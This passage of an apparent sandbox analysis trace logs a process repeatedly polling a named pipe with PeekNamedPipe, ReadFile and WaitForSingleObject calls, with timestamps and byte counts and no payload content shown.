lpBytesLeftThisMessage=0x0) returned 1 [0073.013] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0073.013] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.048] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.048] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.071] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x99, lpBytesLeftThisMessage=0x0) returned 1 [0073.071] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x99, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x99, lpOverlapped=0x0) returned 1 [0073.071] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.107] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.107] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.138] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0073.138] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa0, lpOverlapped=0x0) returned 1 [0073.138] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.175] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.175] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.212] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0073.212] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9a, lpOverlapped=0x0) returned 1 [0073.212] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.247] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.247] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.272] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0073.272] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0073.272] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.322] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3b, lpBytesLeftThisMessage=0x0) returned 1 [0073.322] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3b, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3b, lpOverlapped=0x0) returned 1 [0073.322] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.385] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa2, lpBytesLeftThisMessage=0x0) returned 1 [0073.386] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa2, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa2, lpOverlapped=0x0) returned 1 [0073.386] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.413] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9a, lpBytesLeftThisMessage=0x0) returned 1 [0073.413] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9a, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9a, lpOverlapped=0x0) returned 1 [0073.413] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.450] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.450] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.486] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa0, lpBytesLeftThisMessage=0x0) returned 1 [0073.486] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa0, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa0, lpOverlapped=0x0) returned 1 [0073.486] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.521] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.554] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa8, lpBytesLeftThisMessage=0x0) returned 1 [0073.554] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa8, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa8, lpOverlapped=0x0) returned 1 [0073.554] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.590] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.590] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.627] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xa6, lpBytesLeftThisMessage=0x0) returned 1 [0073.627] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xa6, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xa6, lpOverlapped=0x0) returned 1 [0073.627] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.662] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.662] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.753] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9c, lpBytesLeftThisMessage=0x0) returned 1 [0073.753] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9c, lpOverlapped=0x0) returned 1 [0073.753] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.794] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9b, lpBytesLeftThisMessage=0x0) returned 1 [0073.795] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9b, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9b, lpOverlapped=0x0) returned 1 [0073.795] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.830] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.831] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.893] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9d, lpBytesLeftThisMessage=0x0) returned 1 [0073.893] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9d, lpOverlapped=0x0) returned 1 [0073.893] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.929] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x9c, lpBytesLeftThisMessage=0x0) returned 1 [0073.929] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x9c, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x9c, lpOverlapped=0x0) returned 1 [0073.929] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0073.970] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0073.970] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.001] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0074.001] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0074.001] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.037] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3b, lpBytesLeftThisMessage=0x0) returned 1 [0074.037] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3b, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3b, lpOverlapped=0x0) returned 1 [0074.037] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.067] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.067] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.113] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x62, lpBytesLeftThisMessage=0x0) returned 1 [0074.113] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x62, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x62, lpOverlapped=0x0) returned 1 [0074.113] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.170] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x3d, lpBytesLeftThisMessage=0x0) returned 1 [0074.170] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x3d, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x3d, lpOverlapped=0x0) returned 1 [0074.170] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.208] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0xb2, lpBytesLeftThisMessage=0x0) returned 1 [0074.209] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0xb2, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0xb2, lpOverlapped=0x0) returned 1 [0074.210] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.887] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.887] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0074.923] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0074.923] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.187] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.187] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.202] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.202] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.233] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.233] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.268] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.268] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.295] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.296] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.327] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.327] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.374] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x77, lpBytesLeftThisMessage=0x0) returned 1 [0076.374] ReadFile (in: hFile=0xc4, lpBuffer=0x18ef90, nNumberOfBytesToRead=0x77, lpNumberOfBytesRead=0x18ed2c, lpOverlapped=0x0 | out: lpBuffer=0x18ef90*, lpNumberOfBytesRead=0x18ed2c*=0x77, lpOverlapped=0x0) returned 1 [0076.374] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.406] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.406] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.443] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.443] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.467] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.467] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.498] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.499] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.529] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.529] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.575] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.575] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.592] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.592] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.623] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.623] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.654] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.654] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.685] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.685] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.717] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.748] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.748] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.779] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.779] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.822] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0076.822] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0x14) returned 0x102 [0076.841] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x0, nBufferSize=0x0, lpBytesRead=0x0, lpTotalBytesAvail=0x18ed10, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x0, 